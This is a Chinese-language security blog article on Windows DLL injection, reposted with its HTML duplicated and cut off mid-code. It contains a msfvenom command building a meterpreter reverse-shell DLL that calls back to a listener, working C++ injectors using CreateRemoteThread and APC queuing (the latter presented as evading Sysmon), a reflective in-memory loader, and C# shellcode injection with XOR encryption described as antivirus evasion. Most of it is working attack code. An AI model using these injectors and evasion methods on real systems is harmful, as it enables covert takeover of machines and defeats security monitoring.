免费发布信息
当前位置:APP交易 > 热点资讯 > app交易 >  DLL injection小记

DLL injection小记

发表时间:2021-07-09 16:56:35  来源:红帽社区  浏览:次   【】【】【
红帽社区是一个垂直网络安全社区,融合“红帽先锋”正能量精神,每日分享最新安全资讯,提供安全问答、靶场、众测、漏洞库等功能,是网络安全爱好者学习、交流的优质社区。

<div data-v-7a63e4b3="" class="v-note-show single-show"><div data-v-7a63e4b3="" class="v-show-content scroll-style scroll-style-border-radius" style="background-color: rgb(255, 255, 255);"><h2>什么是dll注入</h2>
<p>在Windows操作系统中,运行的每一个进程都生活在自己的程序空间中(保护模式),每一个进程都认为自己拥有整个机器的控制权,每个进程都认为自己拥有计算机的整个内存空间,这些假象都是操作系统创造的(操作系统控制CPU使得CPU启用保护模式)。理论上而言,运行在操作系统上的每一个进程之间都是互不干扰的,即每个进程都会拥有独立的地址空间。比如说进程B修改了地址为0x4000000的数据,那么进程C的地址为0x4000000处的数据并未随着B的修改而发生改变,并且进程C可能并不拥有地址为0x4000000的内存(操作系统可能没有为进程C映射这块内存)。因此,如果某进程有一个缺陷覆盖了随机地址处的内存(这可能导致程序运行出现问题),那么这个缺陷并不会影响到其他进程所使用的内存。

  也正是由于进程的地址空间是独立的(保护模式),因此我们很难编写能够与其它进程通信或控制其它进程的应用程序。

  所谓的dll注入即是让程序A强行加载程序B给定的a.dll,并执行程序B给定的a.dll里面的代码。注意,程序B所给定的a.dll原先并不会被程序A主动加载,但是当程序B通过某种手段让程序A“加载”a.dll后,程序A将会执行a.dll里的代码,此时,a.dll就进入了程序A的地址空间,而a.dll模块的程序逻辑由程序B的开发者设计,因此程序B的开发者可以对程序A为所欲为。因为执行命令需要借用某些合法进程,所以一般的进程注入都要绕过AV检测。</p>
<h3>dll注入实现过程</h3>
<p><img src="/uploads/20200826/1611442d8adeb7b51977237303b417a5.jpg" style="max-width:100%;">
</p>
<p>即

1.附加到目标/远程进程

2.在目标/远程进程内分配内存

3.将DLL文件路径,或者DLL文件,复制到目标/远程进程的内存空间

4.控制进程运行DLL文件</p>
<p>主要用到的几个函数:</p>
<p>OpenProcess :</p>
<pre><div class="hljs"><span class="hljs-function">HANDLE <span class="hljs-">OpenProcess</span><span class="hljs-params">(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
)</span></span>;
</div></pre>
<p>VirtualAllocEx:</p>
<pre><div class="hljs"><span class="hljs-function">LPVOID <span class="hljs-">VirtualAllocEx</span><span class="hljs-params">(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
)</span></span>;
</div></pre>
<p>WriteProcessMemory:</p>
<pre><div class="hljs"><span class="hljs-function">BOOL <span class="hljs-">WriteProcessMemory</span><span class="hljs-params">(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten
)</span></span>;

</div></pre>
<p>CreateRemoteThread:</p>
<pre><div class="hljs"><span class="hljs-function">HANDLE <span class="hljs-">CreateRemoteThread</span><span class="hljs-params">(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
)</span></span>;
</div></pre>
<h3>dll注入demo:</h3>
<p>既然是dll注入,那么我们肯定需要一个dll,我们使用msf直接生成一个dll出来:</p>
<pre>msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=4444 -f dll -o inject.dll
</pre>
<p>然后手写一个dll注入器:</p>
<pre><div class="hljs"><span class="hljs-">#<span class="hljs--keyword">include</span><Windows.h></span>
<span class="hljs-">#<span class="hljs--keyword">include</span><stdio.h></span>

<span class="hljs-keyword">using</span> <span class="hljs-keyword">namespace</span> <span class="hljs-built_in">std</span>;

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc,<span class="hljs-keyword">char</span> * argv[])</span> </span>{

HANDLE ProcessHandle;
LPVOID remotebuffer;
BOOL write;

<span class="hljs-keyword">wchar_t</span> dllpath[] = TEXT(<span class="hljs-string">"C:\\users\\root\\desktop\\inject.dll"</span>);

<span class="hljs-keyword">if</span> (argc &lt; <span class="hljs-number">2</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Useage inject.exe Pid;\n"</span>);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"such as inject.exe 258\n"</span>);
    <span class="hljs-built_in">exit</span>(<span class="hljs-number">0</span>);
}

<span class="hljs-built_in">printf</span>(<span class="hljs-string">"Injecting DLL to PID: %i\n"</span>, atoi(argv[<span class="hljs-number">1</span>]));
ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[<span class="hljs-number">1</span>])));
<span class="hljs-keyword">if</span> (ProcessHandle == <span class="hljs-literal">NULL</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"OpenProcess Fail !!!"</span>);
    <span class="hljs-built_in">exit</span>(<span class="hljs-number">0</span>);
}
<span class="hljs-keyword">else</span>
{
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"OpenProcess %i successful !!!\n"</span>,atoi(argv[<span class="hljs-number">1</span>]));
}

remotebuffer = VirtualAllocEx(ProcessHandle, <span class="hljs-literal">NULL</span>, <span class="hljs-keyword">sizeof</span> dllpath, MEM_COMMIT, PAGE_READWRITE);
write = WriteProcessMemory(ProcessHandle, remotebuffer, (LPVOID)dllpath, <span class="hljs-keyword">sizeof</span> dllpath, <span class="hljs-literal">NULL</span>);

<span class="hljs-keyword">if</span> (write == <span class="hljs-number">0</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"WriteProcessMemory Fail %i!!!"</span>,GetLastError());
    <span class="hljs-built_in">exit</span>(<span class="hljs-number">0</span>);
}
<span class="hljs-keyword">else</span>
{
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"WriteProcessMemory  successful !!!\n"</span>);
}

PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT(<span class="hljs-string">"Kernel32"</span>)), <span class="hljs-string">"LoadLibraryW"</span>);
CreateRemoteThread(ProcessHandle, <span class="hljs-literal">NULL</span>, <span class="hljs-number">0</span>, threatStartRoutineAddress, remotebuffer, <span class="hljs-number">0</span>, <span class="hljs-literal">NULL</span>);
CloseHandle(ProcessHandle);


<span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;

}

</div></pre>
<p><img src="/uploads/20200826/3462d7a373dec9dca90b60a6a098c226.jpg" style="max-width:100%;">
</p>
<p>在进程监控中,也可以清楚的看到进程被注入了dll。</p>
<p><img src="/uploads/20200826/dbb828037ec41fbf0583f37b3890b573.jpg" style="max-width:100%;">
</p>
<p>这样我们就实现了一个简单的dll注入的例子。CreateRemoteThread()实现dll注入,是最基础的例子,我们再来看一下其他的dll注入的方法。</p>
<h3>demo2:</h3>
<p>我们这次使用一个比较小众的方法来进行dll注入,NtCreateThreadEx。</p>
<p>因为在上面的注入方式中,我们使用了CreateRemoteThread来进行dll注入,而这个方式在具有Sysmon的系统中会留下Event ID 8的痕迹。而我们使用通过APC实现Dll注入则可以绕过这种监控。</p>
<p>这里有三好学生师傅的demo</p>
<pre><div class="hljs"><span class="hljs-">#<span class="hljs--keyword">include</span> <windows.h></span>
<span class="hljs-">#<span class="hljs--keyword">include</span> <TlHelp32.h></span>
<span class="hljs-">#<span class="hljs--keyword">include</span> <vector></span>

<span class="hljs-keyword">using</span> <span class="hljs-built_in">std</span>::<span class="hljs-built_in">vector</span>;

<span class="hljs-function"><span class="hljs-keyword">bool</span> <span class="hljs-">FindProcess</span><span class="hljs-params">(PCWSTR exeName, DWORD& pid, <span class="hljs-built_in">vector</span><DWORD>& tids)</span> </span>{

<span class="hljs-keyword">auto</span> hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, <span class="hljs-number">0</span>);
<span class="hljs-keyword">if</span> (hSnapshot == INVALID_HANDLE_VALUE)
    <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
pid = <span class="hljs-number">0</span>;
PROCESSENTRY32 pe = { <span class="hljs-keyword">sizeof</span>(pe) };
<span class="hljs-keyword">if</span> (::Process32First(hSnapshot, &amp;pe)) {
    <span class="hljs-keyword">do</span> {
        <span class="hljs-keyword">if</span> (_wcsicmp(pe.szExeFile, exeName) == <span class="hljs-number">0</span>) {
            pid = pe.th32ProcessID;
            THREADENTRY32 te = { <span class="hljs-keyword">sizeof</span>(te) };
            <span class="hljs-keyword">if</span> (::Thread32First(hSnapshot, &amp;te)) {
                <span class="hljs-keyword">do</span> {
                    <span class="hljs-keyword">if</span> (te.th32OwnerProcessID == pid) {
                        tids.push_back(te.th32ThreadID);
                    }
                } <span class="hljs-keyword">while</span> (::Thread32Next(hSnapshot, &amp;te));
            }
            <span class="hljs-keyword">break</span>;
        }
    } <span class="hljs-keyword">while</span> (::Process32Next(hSnapshot, &amp;pe));
}
::CloseHandle(hSnapshot);
<span class="hljs-keyword">return</span> pid &gt; <span class="hljs-number">0</span> &amp;&amp; !tids.empty();

}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-">main</span><span class="hljs-params">()</span>
</span>{

DWORD pid;
<span class="hljs-built_in">vector</span>&lt;DWORD&gt; tids;
<span class="hljs-keyword">if</span> (FindProcess(<span class="hljs-string">L"calc.exe"</span>, pid, tids)) 
{
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"OpenProcess\n"</span>);
    HANDLE hProcess = ::OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"VirtualAllocEx\n"</span>);
    <span class="hljs-keyword">auto</span> p = ::VirtualAllocEx(hProcess, <span class="hljs-literal">nullptr</span>, <span class="hljs-number">1</span> &lt;&lt; <span class="hljs-number">12</span>, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    <span class="hljs-keyword">wchar_t</span> buffer[] = <span class="hljs-string">L"c:\\test\\testdll.dll"</span>;
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"WriteProcessMemory\n"</span>);
    ::WriteProcessMemory(hProcess, p, buffer, <span class="hljs-keyword">sizeof</span>(buffer), <span class="hljs-literal">nullptr</span>);
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> <span class="hljs-keyword">auto</span>&amp; tid : tids) 
    {
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"OpenThread\n"</span>);
        HANDLE hThread = ::OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
        <span class="hljs-keyword">if</span> (hThread) 
        {
            <span class="hljs-built_in">printf</span>(<span class="hljs-string">"GetProcAddress\n"</span>);
            ::QueueUserAPC((PAPCFUNC)::GetProcAddress(GetModuleHandle(<span class="hljs-string">L"kernel32"</span>), <span class="hljs-string">"LoadLibraryW"</span>), hThread, (ULONG_PTR)p);    
        }
    }
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"VirtualFreeEx\n"</span>);
    ::VirtualFreeEx(hProcess, p, <span class="hljs-number">0</span>, MEM_RELEASE | MEM_DECOMMIT);
}

}
</div></pre>
<p>而且还有了C#版本,这里就不再赘述了。</p>
<h3>反射型dll注入:</h3>
<p>反射DLL注入可以将加密的DLL保存在磁盘(或者以其他形式如shellcode等),之后将其解密放在内存中。之后跟DLL注入一般,使用VirtualAlloc和WriteProcessMemory将DLL写入目标进程。因为没有使用LoadLibrary函数,要想实现DLL的加载运行,我们需要在DLL中添加一个导出函数,ReflectiveLoader,这个函数实现的功能就是加载自身。</p>
<p>反射DLL注入实现起来其实十分复杂,需要对PE加载十分了解。通过编写ReflectiveLoader找到DLL文件在内存中的地址,分配装载DLL的空间,并计算 DLL 中用于执行反射加载的导出的内存偏移量,然后通过偏移地址作为入口调用 CreateRemoteThread函数执行。</p>
<p>msf已经有了相应的模块:</p>
<pre>windows/manage/reflective_dll_inject
</pre>
<p><img src="/uploads/20200826/0d0ee0ef98aa8b117785a03a8944700f.jpg" style="max-width:100%;">
</p>
<p>cs中也可以使用bdllspawn来加载dll实现同样的效果。</p>
<p>我们也可以手动使用MemoryModule来实现</p>
<ol>
<li>将要加载的PE文件读入内存</li>
<li>初始化MemoryModule句柄</li>
<li>装载内存</li>
<li>获得导出函数地址</li>
<li>执行导出函数</li>
<li>释放MemoryModule句柄</li>
</ol>
<p>代码如下:</p>
<pre><div class="hljs"><span class="hljs-">#<span class="hljs--keyword">define</span> WIN32_LEAN_AND_MEAN</span>

<span class="hljs-">#<span class="hljs--keyword">include</span> <windows.h></span>
<span class="hljs-">#<span class="hljs--keyword">include</span> <stdio.h></span>
<span class="hljs-">#<span class="hljs--keyword">include</span> <malloc.h></span>

<span class="hljs-">#<span class="hljs--keyword">include</span> <span class="hljs--string">"MemoryModule.h"</span></span>

<span class="hljs-function"><span class="hljs-keyword">typedef</span> <span class="hljs-">int</span> <span class="hljs-params">(*addNumberProc)</span><span class="hljs-params">(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>)</span></span>;

<span class="hljs-">#<span class="hljs--keyword">define</span> DLL_FILE <span class="hljs--string">"C:\users\root\desktop\reflective_dll.x64.dll"</span></span>

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-">LoadFromFile</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span>
</span>{

addNumberProc addNumber;
HINSTANCE handle = LoadLibrary((LPCWSTR)DLL_FILE);
<span class="hljs-keyword">if</span> (handle == <span class="hljs-literal">NULL</span>)
    <span class="hljs-keyword">return</span>;

addNumber = (addNumberProc)GetProcAddress(handle, <span class="hljs-string">"addNumbers"</span>);
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"From file: %d\n"</span>, addNumber(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>));
FreeLibrary(handle);

}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-">LoadFromMemory</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span>
</span>{

FILE *fp;
<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span> *data=<span class="hljs-literal">NULL</span>;
<span class="hljs-keyword">size_t</span> size;
HMEMORYMODULE <span class="hljs-keyword">module</span>;
addNumberProc addNumber;

fp = fopen(DLL_FILE, <span class="hljs-string">"rb"</span>);
<span class="hljs-keyword">if</span> (fp == <span class="hljs-literal">NULL</span>)
{
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Can't open DLL file \"%s\"."</span>, DLL_FILE);
    <span class="hljs-keyword">goto</span> <span class="hljs-built_in">exit</span>;
}

fseek(fp, <span class="hljs-number">0</span>, SEEK_END);
size = ftell(fp);
data = (<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span> *)<span class="hljs-built_in">malloc</span>(size);
fseek(fp, <span class="hljs-number">0</span>, SEEK_SET);
fread(data, <span class="hljs-number">1</span>, size, fp);
fclose(fp);


<span class="hljs-keyword">module</span> = MemoryLoadLibrary(data);
<span class="hljs-keyword">if</span> (<span class="hljs-keyword">module</span> == <span class="hljs-literal">NULL</span>)
{
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Can't load library from memory.\n"</span>);
    <span class="hljs-keyword">goto</span> <span class="hljs-built_in">exit</span>;
}

addNumber = (addNumberProc)MemoryGetProcAddress(<span class="hljs-keyword">module</span>, <span class="hljs-string">"addNumbers"</span>);
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"From memory: %d\n"</span>, addNumber(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>));
MemoryFreeLibrary(<span class="hljs-keyword">module</span>);

<span class="hljs-built_in">exit</span>:

<span class="hljs-keyword">if</span> (data)
    <span class="hljs-built_in">free</span>(data);

}

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">char</span>* argv[])</span>
</span>{

LoadFromFile();
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"\n\n"</span>);
LoadFromMemory();
<span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;

}
</div></pre>
<p><img src="/uploads/20200826/89f82c5807c35a53551d6924da85013b.jpg" style="max-width:100%;">
</p>
<h2>dll注入利用</h2>
<h3>反射型DLL注入免杀</h3>
<p>这里使用c#来实现。</p>
<p>首先声明api:</p>
<pre>[DllImport("kernel32.dll")]

    static extern HANDLE OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
    [DllImport("kernel32.dll")]
    static extern HMODULE GetModuleHandle(string lpModuleName);
    [DllImport("kernel32.dll")]
    static extern IntPtr GetProcAddress(HMODULE hModule, string lpProcName);
    [DllImport("kernel32.dll")]
    static extern IntPtr VirtualAllocEx(HANDLE hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    [DllImport("kernel32.dll")]
    static extern bool WriteProcessMemory(HANDLE hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
    [DllImport("kernel32.dll")]
    static extern IntPtr CreateRemoteThread(HANDLE hProcess,IntPtr lpThreadAttributes, uint dwStackSize, 
                                            IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    // privileges used for OpenProcess
    protected const uint PROCESS_ALL_ACCESS = PROCESS_CREATE_PROCESS | PROCESS_CREATE_THREAD | 
                PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION | 
                PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_SET_INFORMATION | 
                PROCESS_SET_QUOTA | PROCESS_SUSPEND_RESUME | PROCESS_TERMINATE | 
                PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE | SYNCHRONIZE;
    protected const uint PROCESS_CREATE_PROCESS = 0x80;
    protected const uint PROCESS_CREATE_THREAD = 0x2;
    protected const uint PROCESS_DUP_HANDLE = 0x40;
    protected const uint PROCESS_QUERY_INFORMATION = 0x400;
    protected const uint PROCESS_QUERY_LIMITED_INFORMATION = 0x1000;
    protected const uint PROCESS_SET_INFORMATION = 0x200;
    protected const uint PROCESS_SET_QUOTA = 0x100;
    protected const uint PROCESS_SUSPEND_RESUME = 0x800;
    protected const uint PROCESS_TERMINATE = 0x1;
    protected const uint PROCESS_VM_OPERATION = 0x8;
    protected const uint PROCESS_VM_READ = 0x10;
    protected const uint PROCESS_VM_WRITE = 0x20;
    protected const uint SYNCHRONIZE = 0x100000;

    // used for VirtualAllocEx
    const uint MEM_COMMIT = 0x00001000;
    const uint MEM_RESERVE = 0x00002000;
    const uint PAGE_READWRITE = 4;

</pre>
<p>然后可以使用下面的方式来实现dll注入:</p>
<pre>public static void ReflectiveDLLInject(int targetId, byte[] shellcode)

    {
        try
        {
            IntPtr lpNumberOfBytesWritten = IntPtr.Zero;
            IntPtr lpThreadId = IntPtr.Zero;


            IntPtr procHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)targetId);
            Console.WriteLine($"[+] Getting the handle for the target process: {procHandle}.");
            IntPtr remoteAddr = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)shellcode.Length, (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE);
            Console.WriteLine($"[+] Allocating memory in the remote process {remoteAddr}.");
            Console.WriteLine($"[+] Writing shellcode at the allocated memory location.");
            if (WriteProcessMemory(procHandle, remoteAddr, shellcode, (uint)shellcode.Length, out lpNumberOfBytesWritten))
            {
                Console.WriteLine($"[+] Shellcode written in the remote process.");
                CreateRemoteThread(procHandle, IntPtr.Zero, 0, remoteAddr, IntPtr.Zero, 0, out lpThreadId);
            }
            else
            {
                Console.WriteLine($"[+] Failed to inject shellcode.");
            }

        }
        catch (Exception ex)
        {
            Console.WriteLine(ex.Message);
        }

    }

</pre>
<p>然后将payload进行加密,再在主程序内还原即可。</p>
<pre>public static byte[] xor(byte[] input)

    {
        char[] key = { 'x', 'x', };
        byte[] output = new byte[input.Length];
        for (int i = 0; i &lt; input.Length; i++)
        {
            output[i] = (byte)(input[i] ^ key[i % key.Length]);
        }
        return output;
    }

</pre>
<p>然后在调用函数执行即可,不过DLL加密后的shellcode都会特别长,不适合命令行输入,命令行只支持8000+字符的输入,可以考虑分离免杀的方式来进行执行。</p>
<h3>反射DLL与MSF联动</h3>
<p>倾璇师傅提出的思路,膜拜。</p>
<p><img src="/uploads/20200826/54f58bdbab90b3309ddc6061a32773ef.jpg" style="max-width:100%;">
</p>
<p>进程中也看不到明显的dll注入</p>
<p><img src="/uploads/20200826/13bfeaff9d0b0899944bd5cfc1bdf391.jpg" style="max-width:100%;">
</p>
<p>参考文章:</p>
<p>https://www.cnblogs.com/wf751620780/p/10730013.html

https://payloads.online/archivers/2020-01-02/1

https://rootrain.me/2020/02/29/%E4%BD%BF%E7%94%A8.NET%E5%AE%9E%E7%8E%B0DLL%E6%B3%A8%E5%85%A5%E6%8A%80%E6%9C%AF/

https://ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection

https://ired.team/offensive-security/code-injection-process-injection/dll-injection

https://www.t00ls.net/viewthread.php?tid=51601&highlight=DLL%E6%B3%A8%E5%85%A5

https://3gstudent.github.io/3gstudent.github.io/%E9%80%9A%E8%BF%87APC%E5%AE%9E%E7%8E%B0Dll%E6%B3%A8%E5%85%A5-%E7%BB%95%E8%BF%87Sysmon%E7%9B%91%E6%8E%A7/

https://github.com/stephenfewer/ReflectiveDLLInjection

https://www.cnblogs.com/uAreKongqi/p/6012353.html</p>
</div> <div data-v-7a63e4b3="" class="v-show-content-html scroll-style scroll-style-border-radius" style="background-color: rgb(255, 255, 255); display: none;">

            <h2><a id="dll_0"></a>什么是dll注入</h2>

<p>在Windows操作系统中,运行的每一个进程都生活在自己的程序空间中(保护模式),每一个进程都认为自己拥有整个机器的控制权,每个进程都认为自己拥有计算机的整个内存空间,这些假象都是操作系统创造的(操作系统控制CPU使得CPU启用保护模式)。理论上而言,运行在操作系统上的每一个进程之间都是互不干扰的,即每个进程都会拥有独立的地址空间。比如说进程B修改了地址为0x4000000的数据,那么进程C的地址为0x4000000处的数据并未随着B的修改而发生改变,并且进程C可能并不拥有地址为0x4000000的内存(操作系统可能没有为进程C映射这块内存)。因此,如果某进程有一个缺陷覆盖了随机地址处的内存(这可能导致程序运行出现问题),那么这个缺陷并不会影响到其他进程所使用的内存。

  也正是由于进程的地址空间是独立的(保护模式),因此我们很难编写能够与其它进程通信或控制其它进程的应用程序。

  所谓的dll注入即是让程序A强行加载程序B给定的a.dll,并执行程序B给定的a.dll里面的代码。注意,程序B所给定的a.dll原先并不会被程序A主动加载,但是当程序B通过某种手段让程序A“加载”a.dll后,程序A将会执行a.dll里的代码,此时,a.dll就进入了程序A的地址空间,而a.dll模块的程序逻辑由程序B的开发者设计,因此程序B的开发者可以对程序A为所欲为。因为执行命令需要借用某些合法进程,所以一般的进程注入都要绕过AV检测。</p>
<h3>dll注入实现过程</h3>
<p><img src="/img/sin/M00/00/2C/wKg0C1689ACAeHDIAAEw2xfN3u8552.png" alt="0.png"></p>
<p>即

1.附加到目标/远程进程

2.在目标/远程进程内分配内存

3.将DLL文件路径,或者DLL文件,复制到目标/远程进程的内存空间

4.控制进程运行DLL文件</p>
<p>主要用到的几个函数:</p>
<p>OpenProcess :</p>
<pre><div class="hljs"><span class="hljs-function">HANDLE <span class="hljs-">OpenProcess</span><span class="hljs-params">(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
)</span></span>;
</div></pre>
<p>VirtualAllocEx:</p>
<pre><div class="hljs"><span class="hljs-function">LPVOID <span class="hljs-">VirtualAllocEx</span><span class="hljs-params">(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
)</span></span>;
</div></pre>
<p>WriteProcessMemory:</p>
<pre><div class="hljs"><span class="hljs-function">BOOL <span class="hljs-">WriteProcessMemory</span><span class="hljs-params">(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten
)</span></span>;

</div></pre>
<p>CreateRemoteThread:</p>
<pre><div class="hljs"><span class="hljs-function">HANDLE <span class="hljs-">CreateRemoteThread</span><span class="hljs-params">(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
)</span></span>;
</div></pre>
<h3>dll注入demo:</h3>
<p>既然是dll注入,那么我们肯定需要一个dll,我们使用msf直接生成一个dll出来:</p>
<pre>msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=4444 -f dll -o inject.dll
</pre>
<p>然后手写一个dll注入器:</p>
<pre><div class="hljs"><span class="hljs-">#<span class="hljs--keyword">include</span>&lt;Windows.h&gt;</span>
<span class="hljs-">#<span class="hljs--keyword">include</span>&lt;stdio.h&gt;</span>

<span class="hljs-keyword">using</span> <span class="hljs-keyword">namespace</span> <span class="hljs-built_in">std</span>;

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc,<span class="hljs-keyword">char</span> * argv[])</span> </span>{

HANDLE ProcessHandle;
LPVOID remotebuffer;
BOOL write;

<span class="hljs-keyword">wchar_t</span> dllpath[] = TEXT(<span class="hljs-string">"C:\\users\\root\\desktop\\inject.dll"</span>);

<span class="hljs-keyword">if</span> (argc &amp;lt; <span class="hljs-number">2</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Useage inject.exe Pid;\n"</span>);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"such as inject.exe 258\n"</span>);
    <span class="hljs-built_in">exit</span>(<span class="hljs-number">0</span>);
}

<span class="hljs-built_in">printf</span>(<span class="hljs-string">"Injecting DLL to PID: %i\n"</span>, atoi(argv[<span class="hljs-number">1</span>]));
ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[<span class="hljs-number">1</span>])));
<span class="hljs-keyword">if</span> (ProcessHandle == <span class="hljs-literal">NULL</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"OpenProcess Fail !!!"</span>);
    <span class="hljs-built_in">exit</span>(<span class="hljs-number">0</span>);
}
<span class="hljs-keyword">else</span>
{
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"OpenProcess %i successful !!!\n"</span>,atoi(argv[<span class="hljs-number">1</span>]));
}

remotebuffer = VirtualAllocEx(ProcessHandle, <span class="hljs-literal">NULL</span>, <span class="hljs-keyword">sizeof</span> dllpath, MEM_COMMIT, PAGE_READWRITE);
write = WriteProcessMemory(ProcessHandle, remotebuffer, (LPVOID)dllpath, <span class="hljs-keyword">sizeof</span> dllpath, <span class="hljs-literal">NULL</span>);

<span class="hljs-keyword">if</span> (write == <span class="hljs-number">0</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"WriteProcessMemory Fail %i!!!"</span>,GetLastError());
    <span class="hljs-built_in">exit</span>(<span class="hljs-number">0</span>);
}
<span class="hljs-keyword">else</span>
{
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"WriteProcessMemory  successful !!!\n"</span>);
}

PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT(<span class="hljs-string">"Kernel32"</span>)), <span class="hljs-string">"LoadLibraryW"</span>);
CreateRemoteThread(ProcessHandle, <span class="hljs-literal">NULL</span>, <span class="hljs-number">0</span>, threatStartRoutineAddress, remotebuffer, <span class="hljs-number">0</span>, <span class="hljs-literal">NULL</span>);
CloseHandle(ProcessHandle);


<span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;

}

</div></pre>
<p><img src="/img/sin/M00/00/2C/wKg0C1689PKAUZ82AADXT6cgi4Y761.png" alt="1.png"></p>
<p>在进程监控中,也可以清楚的看到进程被注入了dll。</p>
<p><img src="/img/sin/M00/00/2C/wKg0C1689QaAVrEEAAFt6Ir9CZ4625.png" alt="2.png"></p>
<p>这样我们就实现了一个简单的dll注入的例子。CreateRemoteThread()实现dll注入,是最基础的例子,我们再来看一下其他的dll注入的方法。</p>
<h3>demo2:</h3>
<p>我们这次使用一个比较小众的方法来进行dll注入,NtCreateThreadEx。</p>
<p>因为在上面的注入方式中,我们使用了CreateRemoteThread来进行dll注入,而这个方式在具有Sysmon的系统中会留下Event ID 8的痕迹。而我们使用通过APC实现Dll注入则可以绕过这种监控。</p>
<p>这里有三好学生师傅的demo</p>
<pre><div class="hljs"><span class="hljs-">#<span class="hljs--keyword">include</span> &lt;windows.h&gt;</span>
<span class="hljs-">#<span class="hljs--keyword">include</span> &lt;TlHelp32.h&gt;</span>
<span class="hljs-">#<span class="hljs--keyword">include</span> &lt;vector&gt;</span>

<span class="hljs-keyword">using</span> <span class="hljs-built_in">std</span>::<span class="hljs-built_in">vector</span>;

<span class="hljs-function"><span class="hljs-keyword">bool</span> <span class="hljs-">FindProcess</span><span class="hljs-params">(PCWSTR exeName, DWORD& pid, <span class="hljs-built_in">vector</span>&lt;DWORD&gt;& tids)</span> </span>{

